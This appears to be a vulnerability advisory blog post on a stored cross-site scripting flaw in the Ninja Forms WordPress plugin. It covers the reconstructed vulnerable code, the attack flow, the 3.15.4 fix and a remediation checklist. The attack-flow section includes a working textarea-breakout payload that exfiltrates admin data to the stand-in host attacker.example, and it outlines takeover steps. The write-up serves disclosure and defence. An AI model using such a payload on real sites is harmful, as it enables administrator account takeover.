At a glance
| Item | Detail |
|---|---|
| CVE | CVE-2026-94504 |
| Target | WordPress plugin Ninja Forms (kstover) ≤ 3.15.3 |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| CVSS 3.1 | 7.2 (High) — AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
| Auth required | Attacker: none (unauthenticated) / Trigger: admin must view the submission |
| Patched in | 3.15.4 |
| Credit | Hippolyte Quéré (Hippie) |
Ninja Forms treats textarea fields in two flavors: fields with the rich text editor (RTE) enabled, and plain "non-RTE" textareas. When a non-RTE field's value is rendered in the legacy submission editor screen, the plugin skips esc_textarea() entirely and then runs the value through html_entity_decode() before echoing it. The practical result: an unauthenticated visitor can submit a public form with a </textarea><script>...</script> style payload, and the moment an admin opens that submission in wp-admin, the payload executes in the admin's session context.
Where the bug actually lives
The bug is the result of three pieces interacting badly.
1) includes/Fields/Textarea.php — the escaping branch is missing
// includes/Fields/Textarea.php (3.15.3, reconstructed)
class NF_Fields_Textarea extends NF_Abstracts_Field
{
protected $_type = 'textarea';
// How the value gets rendered in admin screens depends on whether RTE is on.
public function format_value_for_admin_table( $value )
{
if ( ! $this->get_setting( 'rte' ) ) {
// ❌ No esc_textarea() / esc_html() call here.
// The raw submitted string is returned as-is.
return $value;
}
return wp_kses_post( $value ); // RTE fields at least go through wp_kses_post
}
}
A correct implementation would still escape the non-RTE branch — return esc_textarea( $value ); — but the plugin assumes "it's plain text, so there's nothing to escape," and that assumption is wrong the moment the value is later echoed inside an HTML attribute or tag.
2) includes/Database/Models/Submission.php — undoing the escaping
// includes/Database/Models/Submission.php (3.15.3, reconstructed, ~L205)
class NF_Database_Models_Submission extends NF_Abstracts_Model
{
public function get_field_value_for_editor( $field_id )
{
$value = $this->get_field_value( $field_id ); // raw stored submission value
// ⚠️ Decoded again for legacy editor compatibility —
// e.g. an '<' that was stored encoded gets turned back into '<'.
$value = html_entity_decode( $value, ENT_QUOTES, 'UTF-8' );
return $value;
}
}
This html_entity_decode() call is the crux of it. Even if WordPress's sanitization earlier in the pipeline encoded some characters, this function reverses that right before the value is rendered in the editor — defeating whatever protection existed at storage time.
3) The template — decoded value dropped straight into <textarea>
// legacy submission editor template (reconstructed)
<textarea class="widefat" rows="6" disabled>
<?php echo $submission->get_field_value_for_editor( $field_id ); // ❌ no escaping on output ?>
</textarea>
If esc_textarea() had been applied anywhere in this chain, a </textarea> in the payload would have been rendered as </textarea> — inert text. Instead, step 1 skips escaping, step 2 decodes any remaining entities, and step 3 echoes the result directly, so an attacker-supplied </textarea> actually closes the tag early and whatever follows it is parsed as live HTML.
Attack flow
- Unauthenticated payload submission. An attacker submits something like the following into a public form's non-RTE field (e.g. the "Message" field on a default "Contact Me" form):
</textarea><img src=x onerror="fetch('/wp-json/wp/v2/users/me',{headers:{'X-WP-Nonce':wpApiSettings.nonce}}).then(r=>r.json()).then(d=>fetch('https://attacker.example/c?u='+d.slug))">
This goes through wp-admin/admin-ajax.php's nf_ajax_submit action, which only needs the public page's AJAX nonce — no login required.
- Storage. Ninja Forms writes this value into the submissions table unchanged.
-
Trigger (requires admin action). When an admin opens that submission under wp-admin → Submissions, the code path above runs:
html_entity_decode()followed by an unescapedecho. The</textarea>closes the tag for real, and the trailing<img onerror=...>executes in the admin's browser, with the admin's session cookies and REST nonce. -
Impact. The executed script can call REST endpoints (
/wp/v2/users, plugin installation endpoints, etc.) with admin privileges — enough to change the admin password, create a backdoor admin account, or upload a malicious plugin.
This isn't a true zero-click chain since it requires an admin to open the specific submission, but Ninja Forms admins routinely review new submissions, so the real-world trigger window is small.
Diagram description
For the attack-flow diagram embedded in this post, the layout follows four numbered stages, styled consistently with the Korean version: white cards with a thin colored left-accent bar, dark navy circular number badges, curved gray connectors with small labels, no pastel fills.
-
Node 1 (red accent bar): "Attacker — unauthenticated." Public form, non-RTE textarea, submits the
</textarea><img onerror=...>payload. Arrow labeled "POST (unauthenticated)" points toadmin-ajax.php?action=nf_ajax_submit. -
Node 2 (neutral gray accent bar): "Stored in DB." Value lands in the submissions table unchanged; small side note flags "esc_textarea() missing" in
Textarea.php. -
Node 3 (orange accent bar): "Admin opens Submissions." Browser-window icon; small code badge calls out
html_entity_decode()followed by an unescapedechoinSubmission.php. - Node 4 (dark red accent bar): "Script executes in admin context." Key icon plus an arrow pointing to an external server, representing cookie/nonce theft or a malicious REST call.
- Connectors 1→2→3→4 are curved, each labeled respectively "POST (unauthenticated)", "stored", "view triggers it", "executes."
- A green-accented footer box summarizes the fix: version 3.15.4 adds
esc_textarea(), which cuts the chain between step 3 and step 4.
The fix in 3.15.4
Per the public changelog, the fix adds escaping at the output point:
// 3.15.4+ (reconstructed)
<textarea class="widefat" rows="6" disabled>
<?php echo esc_textarea( $submission->get_field_value_for_editor( $field_id ) ); ?>
</textarea>
esc_textarea() re-encodes <, >, &, etc., so even though html_entity_decode() still runs upstream, the final output step neutralizes anything dangerous. The real lesson here isn't about input filtering — it's a textbook case for contextual output encoding: escape at the point of output, not just at the point of input.
Checklist
- Confirm the Ninja Forms version via
wp-content/plugins/ninja-forms/readme.txt→Stable tag; anything ≤ 3.15.3 is affected. - Check whether any public-facing form has a non-RTE textarea field.
- Update to 3.15.4 or later — this is the only reliable fix. Until then, consider taking the affected form offline or adding a WAF rule to block submissions containing a
</textarea>sequence.


Top comments (0)